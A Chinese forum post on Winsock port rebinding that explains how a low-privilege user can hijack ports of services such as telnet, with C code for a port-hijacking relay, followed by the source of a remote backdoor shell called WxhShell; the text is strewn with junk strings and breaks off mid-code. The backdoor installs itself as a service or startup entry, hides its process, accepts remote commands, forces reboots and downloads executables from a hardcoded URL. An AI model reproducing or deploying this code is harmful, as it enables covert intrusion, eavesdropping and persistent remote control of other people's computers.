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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u[2R>=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {yVi/*;f^  
mMT7`r;l  
  saddr.sin_family = AF_INET; -lSm:O@'  
9'//_ A,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `-ENKr]  
lu-VBVwR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4KybN  
f<|8NQ2y.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 drtQEc>qT  
H3OH  
  这意味着什么?意味着可以进行如下的攻击: Kt}dTpVFr  
pJ_Z[}d)c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4B]8Mp~\aL  
5+%BZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zCvR/  
m/Yi;>I(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'zT/ x`V  
GUat~[lUrj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |Z 3POD"9  
vn}Vb+@R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^@X =v`C  
N@)4H2_u \  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hg(\EEe  
]iLfe&f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Iob o5B  
t4s}w$4  
  #include C?x  
  #include uc7np]Z  
  #include 5W<BEcV\  
  #include    zKV {JUpG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =t)eT0  
  int main()  5Y9 j/wA  
  { !2&h=;i~V  
  WORD wVersionRequested; )J#@L*  
  DWORD ret; 62vz 'b  
  WSADATA wsaData; JI\u -+BE  
  BOOL val; vgE5(fJh  
  SOCKADDR_IN saddr; PI0/=kS  
  SOCKADDR_IN scaddr; @Gn9x(?J  
  int err; 9MM4C  
  SOCKET s; yMz@-B  
  SOCKET sc; }3[ [ONA  
  int caddsize; bJ. ((1$  
  HANDLE mt; a.8nWs^  
  DWORD tid;   cW&OVNj  
  wVersionRequested = MAKEWORD( 2, 2 ); Za}91z"  
  err = WSAStartup( wVersionRequested, &wsaData ); TS3 00F  
  if ( err != 0 ) { E?08=$^5%  
  printf("error!WSAStartup failed!\n"); uvA}7L{UO  
  return -1; 8KoPaq   
  } \D}/tz5~B  
  saddr.sin_family = AF_INET; c1n? @L  
   7CG_UB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |Z2_1( ku  
Ld`~^<B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )XO2DY1/&  
  saddr.sin_port = htons(23); P$4?-AZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9@vY(k k  
  { pbm4C0W}  
  printf("error!socket failed!\n"); j<L!ONvJ1  
  return -1; K{|;'N-1  
  } i, RK0q?>  
  val = TRUE; o~GhV4vq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C!Tl?>Tt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RPp_L>&~<  
  { $k!@e M/R  
  printf("error!setsockopt failed!\n"); .-Ao%A W  
  return -1; .2Rh_ful  
  } TD3R/NP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qvk?5#B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {I2jLc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kc "U)>  
PiH#9X B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [|F.*06SK  
  { Uw)K [T  
  ret=GetLastError(); "sHD8TUX  
  printf("error!bind failed!\n"); Bq@G@Qi  
  return -1; $6oLiYFX;  
  } R`$Odplh>  
  listen(s,2); HDy[/7"  
  while(1) VNytK_F0P  
  { }l[t0C t  
  caddsize = sizeof(scaddr); V@Po}  
  //接受连接请求 TS1 k'<c?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  d;CD~s  
  if(sc!=INVALID_SOCKET) Z)?"pBv'  
  { AMO{?:8Y;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TUk1h\.q  
  if(mt==NULL) e@Mm4&f[p  
  { j f^fj-  
  printf("Thread Creat Failed!\n"); !Sw7!h.ut  
  break; f'%}{l: ss  
  } `,7BU??+u  
  } +F0M?,  
  CloseHandle(mt); 8H{@0_M  
  } m$O@+;>l  
  closesocket(s); .+M4P i  
  WSACleanup(); }QC: !e,yG  
  return 0; /Hd\VI  
  }   ?SQT;C3j(  
  DWORD WINAPI ClientThread(LPVOID lpParam) cxmr|- ^  
  { 4`*jF'N[  
  SOCKET ss = (SOCKET)lpParam; bTn-Pg){  
  SOCKET sc; bo@1c0  
  unsigned char buf[4096]; (nV/-#*  
  SOCKADDR_IN saddr; '{Ywb@Bc  
  long num; ex29rL3  
  DWORD val; )T2Sw z/  
  DWORD ret; M=!x0V;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (oTx*GP>Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]AfeaU'>  
  saddr.sin_family = AF_INET; %Y!lEzB5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y*7.3 +#  
  saddr.sin_port = htons(23); cPtP?)38.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hy6px  
  { #FeM.k6  
  printf("error!socket failed!\n"); mirMDJsl%  
  return -1; [(dAv7YbN  
  } .UJDn^@  
  val = 100; |:EUh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2=U4'C4#  
  { CP={|]>+S  
  ret = GetLastError(); A>'o5+  
  return -1; \s)j0F)  
  } 4ci @$nL1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;,IGO7R  
  { >+G=|2  
  ret = GetLastError(); Z?^AX&F  
  return -1; b2:CFtH5  
  } 7, O_'T &  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^LnCxA&QH  
  {  /h   
  printf("error!socket connect failed!\n"); #%E~I A%  
  closesocket(sc); vmk c]DC  
  closesocket(ss); ^srx/6X  
  return -1; t/y0gr tm6  
  } WMYvE\"  
  while(1) xOEj+%M  
  { $)PNf'5Zg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EJN}$|*Av  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ==Y^~ab;K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i  #8)ad  
  num = recv(ss,buf,4096,0); t/nu/yz5E  
  if(num>0) >pn?~  
  send(sc,buf,num,0); [Si`pPvl  
  else if(num==0) <ZCjQkka>r  
  break; xe_c`%_  
  num = recv(sc,buf,4096,0); %)]{*#N4  
  if(num>0) 7MBz&wE^f  
  send(ss,buf,num,0); n.Ekpq\  
  else if(num==0) $e0sa=/  
  break; AC 3 ;i  
  } =G*<WcR  
  closesocket(ss); m}8c.OJ>K`  
  closesocket(sc); Thz&wH`W  
  return 0 ; ]Wfnpqc^  
  } X4 xnr^  
`@eQL[Z9x  
[x9eamJ,H  
========================================================== ?n[+0a:8E  
UXe@c@3  
下边附上一个代码,,WXhSHELL %/~Sq?f-9@  
&Tl3\T0D  
========================================================== ;B!&( 50e  
[{'` |  
#include "stdafx.h"  X&(1DE  
%m{h1UQQ +  
#include <stdio.h> I)n%aTfo8  
#include <string.h> !WAbO(l  
#include <windows.h> lKwIlp  
#include <winsock2.h> OBu$T&  
#include <winsvc.h> 'Kc;~a  
#include <urlmon.h> ~kF^0-JZY  
\iO ,y:  
#pragma comment (lib, "Ws2_32.lib")  rf oLg  
#pragma comment (lib, "urlmon.lib") @#;~_?$?C  
= q;ACW,z  
#define MAX_USER   100 // 最大客户端连接数 qJrK?:O;  
#define BUF_SOCK   200 // sock buffer 'BtvT[KM  
#define KEY_BUFF   255 // 输入 buffer j#.Aiy:,  
2gukK8R$  
#define REBOOT     0   // 重启 >~2oQ[ n  
#define SHUTDOWN   1   // 关机 i. 6c;KU  
Wc#4%kT  
#define DEF_PORT   5000 // 监听端口 U%m,:b6V  
_@SC R%  
#define REG_LEN     16   // 注册表键长度 uBH4E;[f  
#define SVC_LEN     80   // NT服务名长度 E ekX|*  
5_0Eh!sx  
// 从dll定义API }eSaF@.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CO-9-sQx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AvH^9zEE(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qy/xJ>:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f D2. Zh  
eUQrn>`  
// wxhshell配置信息 x7>' 1  
struct WSCFG { `Z0FQ( r_  
  int ws_port;         // 监听端口 sYYNT*  
  char ws_passstr[REG_LEN]; // 口令 "! m6U#^  
  int ws_autoins;       // 安装标记, 1=yes 0=no $CRu?WUS]'  
  char ws_regname[REG_LEN]; // 注册表键名 9x23## s  
  char ws_svcname[REG_LEN]; // 服务名 xrf z-"n4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S sGb;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6||zfH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k_/*> lIZY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u{o3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &M&*3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ja"?Pb  
-LhO </l  
}; J<yt/V]  
o7;lR?  
// default Wxhshell configuration eD 4X:^@  
struct WSCFG wscfg={DEF_PORT, Uyj6Ij_Pj)  
    "xuhuanlingzhe", 58V`I5_  
    1, <Y:{>=  
    "Wxhshell", Nu/wjx$b  
    "Wxhshell", e ^2n58  
            "WxhShell Service", +Hgil  
    "Wrsky Windows CmdShell Service", _ VKBzOH  
    "Please Input Your Password: ", C6Lc   
  1, =;ClOy9  
  "http://www.wrsky.com/wxhshell.exe", <Z5-?wgf9  
  "Wxhshell.exe" j4k\5~yzS  
    }; gF# HNv  
e#!%:M;4P  
// 消息定义模块 3K!(/,`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S6Y2(qdP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |Bz1u|uc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [;t-XC?[nk  
char *msg_ws_ext="\n\rExit."; J2adG+=  
char *msg_ws_end="\n\rQuit."; 0"}J!c<g  
char *msg_ws_boot="\n\rReboot..."; ~t^ Umx"Ew  
char *msg_ws_poff="\n\rShutdown..."; 1o`zAJ8|2  
char *msg_ws_down="\n\rSave to "; 4A"3C  
``4e&  
char *msg_ws_err="\n\rErr!"; ;x%"o[[>  
char *msg_ws_ok="\n\rOK!"; SO4?3wg7  
EM QGP<[  
char ExeFile[MAX_PATH]; \Kr8k`f  
int nUser = 0; 2*Zk^h=  
HANDLE handles[MAX_USER]; G%iT L"6  
int OsIsNt; )Fon;/p  
,4:=n$e 0  
SERVICE_STATUS       serviceStatus; ' Dp;fEU$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o=J-Ju  
z36wWdRa6  
// 函数声明 GXC,p(vbE  
int Install(void); 'b)qP|  
int Uninstall(void); DK)T2{:  
int DownloadFile(char *sURL, SOCKET wsh); ttOk6-  
int Boot(int flag); MH=7(15R  
void HideProc(void); ;NU-\<Q{  
int GetOsVer(void); `6$|d,m5  
int Wxhshell(SOCKET wsl); )Zf1%h~0r  
void TalkWithClient(void *cs); 0vX4v)-^u  
int CmdShell(SOCKET sock); 7UIf   
int StartFromService(void); {Y-~7@  
int StartWxhshell(LPSTR lpCmdLine); 0FSNIPx  
A]Bf&+V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jvc:)I1NE7  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  bTU[E  
vAp<Muj(a  
// 数据结构和表定义 <qg4Rz\c]  
SERVICE_TABLE_ENTRY DispatchTable[] = n,U?]mr  
{ ZDg(D"  
{wscfg.ws_svcname, NTServiceMain}, IjGPiC  
{NULL, NULL} ?4A/?Z]ub  
}; H-vHcqFx3  
B (Ps/  
// 自我安装 cbN;Kv?ak}  
int Install(void) *Nm$b+  
{ ,qx^D  
  char svExeFile[MAX_PATH]; I4W@t4bZ  
  HKEY key; !O,Sq/=.  
  strcpy(svExeFile,ExeFile); o]E L=j  
Jsl2RdI  
// 如果是win9x系统,修改注册表设为自启动 c {/J.  
if(!OsIsNt) { sUF9_W5z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]{oZn5F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gk6UV2nE?  
  RegCloseKey(key); @- }*cQ4u?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {j=`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SE'!j]6jI  
  RegCloseKey(key); Z\?2"4H  
  return 0; N_I KH)  
    } tI1OmhNN  
  } R&9FdM3K`:  
} lD[37U!  
else { _0(%^5Y  
1W\E`)Z}]  
// 如果是NT以上系统,安装为系统服务 XeX"IhgS>E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jUEgu  
if (schSCManager!=0) ki?h7  
{ Q_U.J0  
  SC_HANDLE schService = CreateService Dn6U8s&  
  ( W#S82  
  schSCManager, W%4=x>J-  
  wscfg.ws_svcname, RWc<CQcL"  
  wscfg.ws_svcdisp, #~!"`B?#*  
  SERVICE_ALL_ACCESS, T]\c2U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TP"cEfs x  
  SERVICE_AUTO_START, I]^>>>p$  
  SERVICE_ERROR_NORMAL, L8 L1_  
  svExeFile, 4qE95THB  
  NULL, <q8@a0e@  
  NULL, q pCI [[  
  NULL, )\|+G5#`  
  NULL, ]QhTxrF"  
  NULL 6|zhqb|s  
  ); 5BJ E  
  if (schService!=0) ^Jp,&  
  { )V\@N*L`ik  
  CloseServiceHandle(schService); z$e6T&u5B  
  CloseServiceHandle(schSCManager); Pg%9hejf3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V&w2pp0  
  strcat(svExeFile,wscfg.ws_svcname); 7~ PL8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2%dL96  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;$QC_l''b  
  RegCloseKey(key); 27EK +$  
  return 0; DcW?L^Mst  
    } <.Ws; HN}  
  } 1Y|a:){G  
  CloseServiceHandle(schSCManager); cg.{oMwa  
} ` y\)X C7  
} |5bLV^mv]i  
Ttt'X<9  
return 1; u.|Z3=?VG  
} F!]Sr'UA  
M2O_kO eZ  
// 自我卸载 q.c)>=!.  
int Uninstall(void) TIWR[r1!  
{ (k?H T'3)  
  HKEY key; G3~`]qf  
d ~Z\%4  
if(!OsIsNt) { j,.\QwpU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %up?70  
  RegDeleteValue(key,wscfg.ws_regname); ;f[lq^eV  
  RegCloseKey(key); 1z? }'&:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l4>^79**  
  RegDeleteValue(key,wscfg.ws_regname); 2;8m0+tl  
  RegCloseKey(key); !y= R)k  
  return 0; -QrC>3xZR  
  } Mfj82rHg  
} ,%M[$S'  
} zxbf h/=  
else { [={mCGU  
FTf#"'O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =l/6-j^  
if (schSCManager!=0) # z|Q $  
{ l3>S{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \84t\jKR  
  if (schService!=0) AcC &Q:g  
  { yD7BZI xW  
  if(DeleteService(schService)!=0) { ieFl4hh[G  
  CloseServiceHandle(schService); o4);5~1l  
  CloseServiceHandle(schSCManager); .T| }rB<c  
  return 0; 0zaK&]oY0  
  } =dmr ,WE  
  CloseServiceHandle(schService); T5(S2^)o  
  } iwotEl0*{  
  CloseServiceHandle(schSCManager); Vw;Z0_C  
} '<R>cN"  
} R4m {D  
5*AXL .2ih  
return 1; n HseA  
} i[v4[C=WB!  
hF%M!otcJ-  
// 从指定url下载文件 rtV`Q[E  
int DownloadFile(char *sURL, SOCKET wsh) KK){/I=z  
{ Fx9-A8oIR  
  HRESULT hr; Q&} 0owe  
char seps[]= "/"; L*6'u17y  
char *token; rbZbj#  
char *file; .%zcm  
char myURL[MAX_PATH]; =V^-@ji)b  
char myFILE[MAX_PATH]; l8\UO<^fY  
\|]mClj#  
strcpy(myURL,sURL); C=: <[_m`  
  token=strtok(myURL,seps); 2 !s&|lI  
  while(token!=NULL) %rzPh<>e  
  { T@ c~ql  
    file=token; 0 j.K?]f)h  
  token=strtok(NULL,seps); E}@C4pS  
  } RkF#NCnL;  
>STtX6h  
GetCurrentDirectory(MAX_PATH,myFILE); jD: N)((  
strcat(myFILE, "\\"); %;PpwI  
strcat(myFILE, file); Q7 BbST+  
  send(wsh,myFILE,strlen(myFILE),0); fB+L%+mr8  
send(wsh,"...",3,0); y&/IJst&aq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C($l'jd&  
  if(hr==S_OK) !"rPSGK*  
return 0; p/.8})c1r  
else c{z$^)A/  
return 1; ;]{ee?Q^ld  
B,%Vy!o  
} yvAO"43  
[q <'ty  
// 系统电源模块 kv+%  
int Boot(int flag) }qNc `8h  
{ G t w>R  
  HANDLE hToken; $Ome]+0  
  TOKEN_PRIVILEGES tkp; 2jsbg{QS#_  
<W4F`6`x  
  if(OsIsNt) { $v^hzC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~zVxprEf_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hAGHb+:  
    tkp.PrivilegeCount = 1; YH&=cI@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z/@_?01T=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }A#IBqf5  
if(flag==REBOOT) { g@.$P>Bh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0> f!S` *  
  return 0; h9vcN#22D  
} @:lM|2:  
else { nM,:f)z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O'y8q[2KE  
  return 0; J2UQq7-y  
} q7R]!zk  
  } gFDnt  
  else { ]%Q!%uTh  
if(flag==REBOOT) { k6G _c;V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?t#wK}d.  
  return 0; ?#xl3Z ;I  
} sX>u.  
else { ;nY#/%f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =2Y;)wrF  
  return 0; Shn,JmR  
} 1!#85SMx  
} F3tps jQ  
$TQhr#C]  
return 1; &!!*xv-z  
} 5>k:PKHL  
@u~S!(7.Wi  
// win9x进程隐藏模块 baxZ>KNi  
void HideProc(void) nm'l}/Ug  
{ dC11kq qj  
7Cgi&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aZfMeW  
  if ( hKernel != NULL ) ^^y eC|~N:  
  { fgLjF,Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \}jMC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _fAgp_)  
    FreeLibrary(hKernel); Z8$}Rpo  
  } n 8cA8<  
%@$UIO,(  
return; 0I}e>]:I  
} 'B@`gA  
m[hL GD'Fi  
// 获取操作系统版本 X>q`F;W  
int GetOsVer(void) lu8G $EQI  
{ rfXxg^  
  OSVERSIONINFO winfo; ys_2?uv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >)><u4}  
  GetVersionEx(&winfo); _)A|JC!jId  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8tY>%A~^z  
  return 1; 7& M-^Ev  
  else {#,<)wFV\  
  return 0; | ,8z" g  
} |s8N  
M`MxdwR  
// 客户端句柄模块 6j#JhcS+  
int Wxhshell(SOCKET wsl) d2\ !tJm  
{ Ni$'# W?t  
  SOCKET wsh; %#6@PQ[R.  
  struct sockaddr_in client; fF Q|dE;cF  
  DWORD myID; TlG>)Z@/  
N&9o  1_}  
  while(nUser<MAX_USER) 2HbnE&  
{ e UPa5{P  
  int nSize=sizeof(client); 9&mSF0q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bO~y=Pa \  
  if(wsh==INVALID_SOCKET) return 1; @s5=6z]=H  
eP{srP3 9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J-W9Bamx  
if(handles[nUser]==0) ou,[0B3n0  
  closesocket(wsh); oXPA<ef o  
else l|5 h  
  nUser++; xtV+Le%  
  } e`*}?N4d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]#/nn),Z  
+UzQJt/>>  
  return 0; W4^L_p>Tm^  
} ;vn0%g  
uF ?[H -y  
// 关闭 socket $|4@Zx4vf  
void CloseIt(SOCKET wsh) [W[{ 4 Xu  
{ bS_#3T  
closesocket(wsh); #3uv^m LGa  
nUser--; (vXr2Z<l  
ExitThread(0); Sp `l>BL  
} 7ZcF0h  
ycA<l"  
// 客户端请求句柄 PKm|?kn{0(  
void TalkWithClient(void *cs) h my%X`%j  
{ r )|3MUj  
i~B?p[  
  SOCKET wsh=(SOCKET)cs; 8}/DD^M  
  char pwd[SVC_LEN]; r(,U{bU<  
  char cmd[KEY_BUFF]; HC`0Ni1  
char chr[1]; 5Xy(za  
int i,j; ;(Yb9Mr)z  
"ra$x2|=}  
  while (nUser < MAX_USER) { =SDex.ZK]  
7h' C"rH  
if(wscfg.ws_passstr) { ^2+Ex+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UQVL)-Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :e1h!G  
  //ZeroMemory(pwd,KEY_BUFF); 7iB!Uuc  
      i=0; oO}g~<fYG  
  while(i<SVC_LEN) { [4KQcmJc#  
u@a){ A(P  
  // 设置超时 {v={q1  
  fd_set FdRead; _H]\  
  struct timeval TimeOut; kHM Jh~  
  FD_ZERO(&FdRead); ]m1fo'  
  FD_SET(wsh,&FdRead); UpoSC  
  TimeOut.tv_sec=8; 4jT6h9%  
  TimeOut.tv_usec=0; /2^L;#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X9>fE{)!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4&)sROjV=  
#qRoTtMq 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _[:6.oNjIe  
  pwd=chr[0]; g)Z8WH$;H3  
  if(chr[0]==0xd || chr[0]==0xa) { {i;,Io7 W  
  pwd=0;  5"%.8P  
  break; q<Rj Ai  
  } )\wkVAm  
  i++; c[@_t.%)  
    } {X,%GI  
sG g458  
  // 如果是非法用户,关闭 socket p.8bX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 79DNNj~  
} ixTjXl2g  
jCd]ENl+_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VFE@qX|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |3$E w.  
_kKG%U.gbK  
while(1) { Y;w|Fvjj+  
KQ~y;{h?b  
  ZeroMemory(cmd,KEY_BUFF); oZ{,IZ45  
HG"ZN)~  
      // 自动支持客户端 telnet标准   RhYe=Qh4{p  
  j=0; ~DH 9iB  
  while(j<KEY_BUFF) { J,$xQ?,wE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .jRI $vm  
  cmd[j]=chr[0]; Y1r$;;sH  
  if(chr[0]==0xa || chr[0]==0xd) { 1 UQ,V`y  
  cmd[j]=0; :>-zT[Lcn  
  break; XQ1]F{?/H  
  } 18$d-[hX  
  j++; H3wJ5-q(  
    } \p^V~fy7rU  
IIk_!VzT  
  // 下载文件 jN6V`Wh_  
  if(strstr(cmd,"http://")) { \zd[A~!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u%-]-:c  
  if(DownloadFile(cmd,wsh)) pl8b&bLzi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~cU1 /CW8  
  else M+"6VtZH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #p+iwW-  
  } HDm]njF%qQ  
  else { 2gWR2 H@  
lHiWzt u  
    switch(cmd[0]) { ~[H8R|j "  
  h!tpi`8\z  
  // 帮助 &%J{uRp  
  case '?': { , ['}9:f9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4U2{1aN`  
    break; .AN1Yt  
  } Y9BQLu4F  
  // 安装 8W3zrnc  
  case 'i': { k(H&Af+  
    if(Install()) AKk=XAGW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eKLvBa-{@  
    else }6Pbjm*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bzz|2/1y  
    break; e'b*_Ps'  
    } lxd{T3LU  
  // 卸载 z ]f(lwo{  
  case 'r': { #-|fdcb  
    if(Uninstall()) o Mz{j:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "#)|WVa=BM  
    else /xX7:U b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f@}> :x  
    break; f y2vAwl  
    } jCY~Wc  
  // 显示 wxhshell 所在路径 +~n:*\  
  case 'p': { 9]Jv >_W*  
    char svExeFile[MAX_PATH]; e&sH<hWR  
    strcpy(svExeFile,"\n\r"); e5mu-  
      strcat(svExeFile,ExeFile); <^s31.&p  
        send(wsh,svExeFile,strlen(svExeFile),0); $yU 5WEX  
    break; Zk`y"[J  
    } I<}% L V  
  // 重启 lIyMNw  
  case 'b': { 9L$OSy|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tR51Pw  
    if(Boot(REBOOT)) [4?r0vO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~d7t\S  
    else { 2l?^\9&  
    closesocket(wsh); iM!Ya!  
    ExitThread(0); b}TvQ+W]2  
    } v4e4,Nt  
    break;  Z 9:  
    } -k + jMH  
  // 关机 ; gBR~W  
